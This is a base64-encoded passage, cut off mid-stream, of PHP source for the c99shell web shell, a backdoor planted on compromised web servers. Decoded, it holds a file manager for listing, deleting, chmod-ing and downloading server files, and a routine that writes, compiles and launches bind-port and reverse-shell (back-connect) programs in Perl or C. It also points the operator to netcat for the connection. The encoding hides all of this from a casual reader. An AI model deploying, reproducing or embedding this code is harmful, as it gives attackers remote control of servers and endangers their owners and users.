dik7DQogICAgJHJvdyA9IGFycmF5KCk7DQogICAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQ0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkNCiAgICB7DQogICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgZWxzZSB7JHR5cGUgPSAiRElSIjt9DQogICAgICRyb3dbXSA9ICR2Ow0KICAgICAkcm93W10gPSAkdHlwZTsNCiAgICB9DQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9DQogICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICBpZiAoISR3aW4pDQogICAgew0KICAgICAkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsNCiAgICAgJHJvd1tdID0gJG93WyJuYW1lIl0uIi8iLiRnclsibmFtZSJdOw0KICAgICAkcm93W10gPSBmaWxlb3duZXIoJHYpLiIvIi5maWxlZ3JvdXAoJHYpOw0KICAgIH0NCiAgICAkcm93W10gPSBmaWxlcGVybXMoJHYpOw0KICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyRvYmplY3RzWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1siZmlsZXMiXVtdID0gJHJvdzt9DQogICAgJGkrKzsNCiAgIH0NCiAgICRyb3cgPSBhcnJheSgpOw0KICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAkcm93W10gPSAiPGI+TW9kaWZ5PC9iPiI7DQogICBpZiAoISR3aW4pDQogIHskcm93W10gPSAiPGI+T3duZXIvR3JvdXA8L2I+Ijt9DQogICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsNCiAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHNvcnQpOw0KICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07DQogICAkayA9ICRwYXJzZXNvcnRbMF07DQogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskcGFyc2Vzb3J0WzFdID0gImQiO30NCiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF8iLigkc29ydFsxXSA9PSAiYSI/ImFzYyI6ImRlc2MiKS4iXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBhbHQ9XCIiLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iQXNjLiI6IkRlc2MiKS4iXCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgJHJvd1ska10gLj0gJHk7DQogICBmb3IoJGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JHJvd1skaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9DQogICB9DQogICAkdiA9ICRwYXJzZXNvcnRbMF07DQogICB1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOw0KICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7DQogICB1c29ydCgkb2JqZWN0c1siZmlsZXMiXSwgInRhYnNvcnQiKTsNCiAgIGlmICgkcGFyc2Vzb3J0WzFdID09ICJkIikNCiAgIHsNCiAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZm9sZGVycyJdKTsNCiAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgfQ0KICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgJHRhYiA9IGFycmF5KCk7DQogICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICRpID0gMDsNCiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKQ0KICAgew0KICAgICR2ID0gJGFbMF07DQogICAgJG8gPSBiYXNlbmFtZSgkdik7DQogICAgJGRpciA9IGRpcm5hbWUoJHYpOw0KICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9DQogICAgJGRpc3BwYXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLDYwKTsNCiAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQ0KICAgIGZvcmVhY2ggKCRyZWd4cF9oaWdobGlnaHQgYXMgJHIpDQogICAgew0KICAgICBpZiAoZXJlZygkclswXSwkbykpDQogICAgIHsNCiAgICAgIGlmICgoIWlzX251bWVyaWMoJHJbMV0pKSBvciAoJHJbMV0gPiAzKSkgeyRyWzFdID0gMDsgb2JfY2xlYW4oKTsgZWNobyAiV2FybmluZyEgQ29uZmlndXJhdGlvbiBlcnJvciBpbiBcJHJlZ3hwX2hpZ2hsaWdodFsiLiRrLiJdWzBdIC0gdW5rbm93biBjb21tYW5kLiI7IGM5OXNoZXhpdCgpO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICAkclsxXSA9IHJvdW5kKCRyWzFdKTsNCiAgICAgICAkaXNkaXIgPSBpc19kaXIoJHYpOw0KICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpDQogICAgICAgew0KICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAkZGlzcHBhdGggPSAkclsyXS4kZGlzcHBhdGguJHJbM107DQogICAgICAgIGlmICgkcls0XSkge2JyZWFrO30NCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAkdWQgPSB1cmxlbmNvZGUoJGRpcik7DQogICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsNCiAgICAkcm93ID0gYXJyYXkoKTsNCiAgICBpZiAoJG8gPT0gIi4iKQ0KICAgIHsNCiAgICAgJHJvd1tdID0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c21hbGxfZGlyXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsNCiAgICAgJHJvd1tdID0gIkxJTksiOw0KICAgIH0NCiAgICBlbHNlaWYgKCRvID09ICIuLiIpDQogICAgew0KICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsNCiAgICAgJHJvd1tdID0gIkxJTksiOw0KICAgIH0NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpDQogICAgew0KICAgICBpZiAoaXNfbGluaygkdikpDQogICAgIHsNCiAgICAgICRkaXNwcGF0aCAuPSAiID0+ICIucmVhZGxpbmsoJHYpOw0KICAgICAgJHR5cGUgPSAiTElOSyI7DQogICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsNCiAgICAgIH0NCiAgICAgJHJvd1tdID0gJHR5cGU7DQogICAgfQ0KICAgIGVsc2VpZihpc19maWxlKCR2KSkNCiAgICB7DQogICAgICRleHQgPSBleHBsb2RlKCIuIiwkbyk7DQogICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmQ9Ii4kdWQuIiZcIj4iLiRkaXNwcGF0aC4iPC9hPiI7DQogICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7DQogICAgfQ0KICAgICRyb3dbXSA9IGRhdGUoImQubS5ZIEg6aTpzIiwkYVsyXSk7DQogICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQ0KICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJHYpLiI8L2I+PC9hPiI7DQogICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9DQogICAgZWxzZSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBpZD1cImFjdGJveCIuJGkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9DQogICAgaWYgKGlzX2RpcigkdikpIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1kb3dubG9hZCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0PVwiRG93bmxvYWRcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgJGkrKzsNCiAgIH0NCiAgfQ0KICAvL0NvbXBpbGluZyB0YWJsZQ0KICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOw0KICBlY2hvICI8Y2VudGVyPjxiPkxpc3RpbmcgZm9sZGVyICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImZvbGRlcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZm9sZGVycyk6PC9iPjwvY2VudGVyPjxicj48VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTEwMCUgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMzMyBib3JkZXI9MD48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgbmFtZT1cImxzX2Zvcm1cIj4iOw0KICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KQ0KICB7DQogICBlY2hvICI8dHI+XHJcbiI7DQogICBmb3JlYWNoKCRyb3cgYXMgJHYpIHtlY2hvICI8dGQ+Ii4kdi4iPC90ZD5cclxuIjt9DQogICBlY2hvICI8L3RyPlxyXG4iOw0KICB9DQogIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+DQogIDxzY3JpcHQ+DQogIGZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykNCiAgew0KICAgdmFyIGlkID0gMDsNCiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7DQogICB3aGlsZSAoaWQgPD0gbnVtKQ0KICAgew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gc3RhdHVzOw0KICAgIGlkKys7DQogICB9DQogIH0NCiAgZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKQ0KICB7DQogICB2YXIgaWQgPSAwOw0KICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsNCiAgIHdoaWxlIChpZCA8PSBudW0pDQogICB7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQ7DQogICAgaWQrKzsNCiAgIH0NCiAgfQ0KICA8L3NjcmlwdD4NCiAgPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+DQogIDxiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7DQogIGlmIChjb3VudChhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pKSA+IDAgYW5kICgkdXNlZnNidWZmKSkNCiAgew0KICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RhcmNidWZmXCIgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICB9DQogIGVjaG8gIjxzZWxlY3QgbmFtZT1hY3Q+PG9wdGlvbiB2YWx1ZT1cIiIuJGFjdC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCIiLigkZHNwYWN0ID09ICJkZWxldGUiPyIgc2VsZWN0ZWQiOiIiKS4iPkRlbGV0ZTwvb3B0aW9uPiI7DQogIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiIi4oJGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgaWYgKCR1c2Vmc2J1ZmYpDQogIHsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJjdXRcIiIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJjb3B5XCIiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsNCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ1bnNlbGVjdFwiIi4oJGRzcGFjdCA9PSAidW5zZWxlY3QiPyIgc2VsZWN0ZWQiOiIiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsNCiAgfQ0KICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDb25maXJtXCI+PC9wPiI7DQogIGVjaG8gIjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJiaW5kIikNCnsNCiAkYm5kcG9ydHNyY3MgPSBhcnJheSgNCiJjOTlzaF9iaW5kcG9ydC5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlcG9ydCIpLA0KImM5OXNoX2JpbmRwb3J0LmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVwb3J0ICVwYXNzIikNCik7DQogJGJjc3JjcyA9IGFycmF5KA0KImM5OXNoX2JhY2tjb25uLnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVob3N0ICVwb3J0IiksDQoiYzk5c2hfYmFja2Nvbm4uYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJWhvc3QgJXBvcnQiKQ0KKTsNCiBpZiAoJHdpbikge2VjaG8gIjxiPkJpbmRpbmcgcG9ydCBhbmQgQmFjayBjb25uZWN0OjwvYj48YnI+VGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQ0KIGVsc2UNCiB7DQogIGlmICghaXNfYXJyYXkoJGJpbmQpKSB7JGJpbmQgPSBhcnJheSgpO30NCiAgaWYgKCFpc19hcnJheSgkYmMpKSB7JGJjID0gYXJyYXkoKTt9DQogIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9DQogIGlmIChlbXB0eSgkYmluZFsicGFzcyJdKSkgeyRiaW5kWyJwYXNzIl0gPSAkYmluZHBvcnRfcGFzczt9DQogIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpIHskYmNbImhvc3QiXSA9IGdldGVudigiUkVNT1RFX0FERFIiKTt9DQogIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpIHskYmNbInBvcnQiXSA9ICRiY19wb3J0O30NCiAgaWYgKCFlbXB0eSgkYmluZHN1Ym1pdCkpDQogIHsNCiAgIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOw0KICAgJHYgPSAkYm5kcG9ydHNyY3NbJGJpbmRbInNyYyJdXTsNCiAgIGlmIChlbXB0eSgkdikpIHtlY2hvICJVbmtub3duIGZpbGUhPGJyPiI7fQ0KICAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9DQogICBlbHNlDQogICB7DQogICAgJHNyY3BhdGggPSAkdG1wZGlyLiRiaW5kWyJzcmMiXTsNCiAgICAkdyA9IGV4cGxvZGUoIi4iLCRiaW5kWyJzcmMiXSk7DQogICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsNCiAgICB1bnNldCgkd1tjb3VudCgkdyktMV0pOw0KICAgICRzcmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsNCiAgICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOw0KICAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgICBAdW5saW5rKCRzcmNwYXRoKTsNCiAgICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7DQogICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgICRkYXRhID0gYzk5Z2V0c291cmNlKCRiaW5kWyJzcmMiXSk7DQogICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7DQogICAgIGZjbG9zZSgkZnApOw0KICAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7ICBAdW5saW5rKCRzcmNwYXRoKTt9DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7DQogICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmluZFsicG9ydCJdLCR2WzFdKTsNCiAgICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhc3MiLCRiaW5kWyJwYXNzIl0sJHZbMV0pOw0KICAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIvLyIsIi8iLCR2WzFdKTsNCiAgICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsNCiAgICAgc2xlZXAoNSk7DQogICAgICRzb2NrID0gZnNvY2tvcGVuKCJsb2NhbGhvc3QiLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7DQogICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGJpbmRbInBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9DQogICAgIGVsc2Uge2VjaG8gIkJpbmRpbmcuLi4gb2shIENvbm5lY3QgdG8gPGI+Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIjoiLiRiaW5kWyJwb3J0Il0uIjwvYj4hIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmdyZXA9Ii5iYXNlbmFtZSgkYmlucGF0aCkuIlwiPjx1PlZpZXcgYmluZGVyJ3MgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9DQogICAgfQ0KICAgIGVjaG8gIjxicj4iOw0KICAgfQ0KICB9DQogIGlmICghZW1wdHkoJGJjc3VibWl0KSkNCiAgew0KICAgZWNobyAiPGI+UmVzdWx0IG9mIGJhY2sgY29ubmVjdGlvbjo8L2I+PGJyPiI7DQogICAkdiA9ICRiY3NyY3NbJGJjWyJzcmMiXV07DQogICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30NCiAgIGVsc2UNCiAgIHsNCiAgICAkc3JjcGF0aCA9ICR0bXBkaXIuJGJjWyJzcmMiXTsNCiAgICAkdyA9IGV4cGxvZGUoIi4iLCRiY1sic3JjIl0pOw0KICAgICRleHQgPSAkd1tjb3VudCgkdyktMV07DQogICAgdW5zZXQoJHdbY291bnQoJHcpLTFdKTsNCiAgICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpOw0KICAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30NCiAgICBAdW5saW5rKCRzcmNwYXRoKTsNCiAgICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7DQogICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgICRkYXRhID0gYzk5Z2V0c291cmNlKCRiY1sic3JjIl0pOw0KICAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRleHQgPT0gImMiKSB7JHJ